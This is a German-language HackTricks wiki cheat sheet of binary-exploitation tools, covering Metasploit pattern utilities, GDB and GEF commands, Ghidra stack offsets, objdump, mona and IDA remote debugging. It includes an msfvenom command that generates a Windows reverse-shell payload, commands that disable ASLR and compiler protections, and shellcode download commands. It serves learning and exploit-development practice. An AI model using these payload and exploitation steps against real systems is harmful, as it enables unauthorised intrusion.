hacktricks/exploiting/tools

Exploiting Tools

{% hint style="success" %} Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks

• Überprüfe die Abonnementpläne!
• Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.
• Teile Hacking-Tricks, indem du PRs zu den HackTricks und HackTricks Cloud GitHub-Repos einreichst.

{% endhint %}

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

Shellcodes

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

GDB

Installieren

apt-get install gdb

Parameter

-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process

Anweisungen

run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit

# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process

# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes

# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate

# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP

GEF

help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table

# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

Tricks

GDB gleiche Adressen

Während des Debuggens wird GDB leicht unterschiedliche Adressen als die vom Binärprogramm verwendeten beim Ausführen haben. Sie können GDB die gleichen Adressen haben lassen, indem Sie:

• unset env LINES
• unset env COLUMNS
• set env _=<path> Geben Sie den absoluten Pfad zur Binärdatei an
• Exploitieren Sie die Binärdatei unter Verwendung des gleichen absoluten Pfades
• PWD und OLDPWD müssen gleich sein, wenn Sie GDB verwenden und wenn Sie die Binärdatei ausnutzen

Backtrace um aufgerufene Funktionen zu finden

Wenn Sie eine statisch verlinkte Binärdatei haben, gehören alle Funktionen zur Binärdatei (und nicht zu externen Bibliotheken). In diesem Fall wird es schwierig sein, den Fluss zu identifizieren, dem die Binärdatei folgt, um beispielsweise nach Benutzereingaben zu fragen.
Sie können diesen Fluss leicht identifizieren, indem Sie die Binärdatei mit gdb ausführen, bis Sie nach Eingaben gefragt werden. Stoppen Sie dann mit CTRL+C und verwenden Sie den bt (backtrace) Befehl, um die aufgerufenen Funktionen zu sehen:

gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

GDB-Server

gdbserver --multi 0.0.0.0:23947 (in IDA müssen Sie den absoluten Pfad der ausführbaren Datei auf der Linux-Maschine und auf der Windows-Maschine angeben)

Ghidra

Stack-Offset finden

Ghidra ist sehr nützlich, um den Offset für einen Buffer Overflow dank der Informationen über die Position der lokalen Variablen zu finden.
Zum Beispiel zeigt im folgenden Beispiel ein Buffer Overflow in local_bc, dass Sie einen Offset von 0xbc benötigen. Darüber hinaus, wenn local_10 ein Canary-Cookie ist, zeigt es an, dass zum Überschreiben von local_bc ein Offset von 0xac erforderlich ist.
Denken Sie daran, dass die ersten 0x08, von wo der RIP gespeichert wird, zu dem RBP gehören.

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> Kompilieren ohne Schutz
-o --> Ausgabe
-g --> Code speichern (GDB kann ihn sehen)
echo 0 > /proc/sys/kernel/randomize_va_space --> Um das ASLR in Linux zu deaktivieren

Um einen Shellcode zu kompilieren:
nasm -f elf assembly.asm --> gibt eine ".o" zurück
ld assembly.o -o shellcodeout --> Ausführbar

Objdump

-d --> Disassembliere ausführbare Abschnitte (siehe Opcodes eines kompilierten Shellcodes, finde ROP Gadgets, finde Funktionsadresse...)
-Mintel --> Intel-Syntax
-t --> Symbol-Tabelle
-D --> Alles disassemblieren (Adresse einer statischen Variablen)
-s -j .dtors --> dtors Abschnitt
-s -j .got --> got Abschnitt
-D -s -j .plt --> plt Abschnitt dekompiliert
-TR --> Umsetzungen
ojdump -t --dynamic-relo ./exec | grep puts --> Adresse von "puts", die in GOT modifiziert werden soll
objdump -D ./exec | grep "VAR_NAME" --> Adresse oder eine statische Variable (diese werden im DATA-Bereich gespeichert).

Core Dumps

1. Führen Sie ulimit -c unlimited aus, bevor Sie mein Programm starten
2. Führen Sie sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t aus
3. sudo gdb --core=<path/core> --quiet

Mehr

ldd ausführbar | grep libc.so.6 --> Adresse (wenn ASLR, ändert sich dies jedes Mal)
for i in `seq 0 20`; do ldd <Executable> | grep libc; done --> Schleife, um zu sehen, ob sich die Adresse stark ändert
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> Offset von "system"
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> Offset von "/bin/sh"

strace ausführbar --> Funktionen, die von der ausführbaren Datei aufgerufen werden
rabin2 -i ausführbar --> Adresse aller Funktionen

Inmunity-Debugger

!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA

Debugging in remote linux

Im IDA-Ordner finden Sie Binärdateien, die verwendet werden können, um eine Binärdatei innerhalb eines Linux zu debuggen. Dazu verschieben Sie die Binärdatei linux_server oder linux_server64 auf den Linux-Server und führen Sie sie im Ordner aus, der die Binärdatei enthält:

./linux_server64 -Ppass

Dann konfigurieren Sie den Debugger: Debugger (linux remote) --> Prozessoptionen...:

{% hint style="success" %} Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

• Überprüfen Sie die Abonnementpläne!
• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
• Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.

{% endhint %}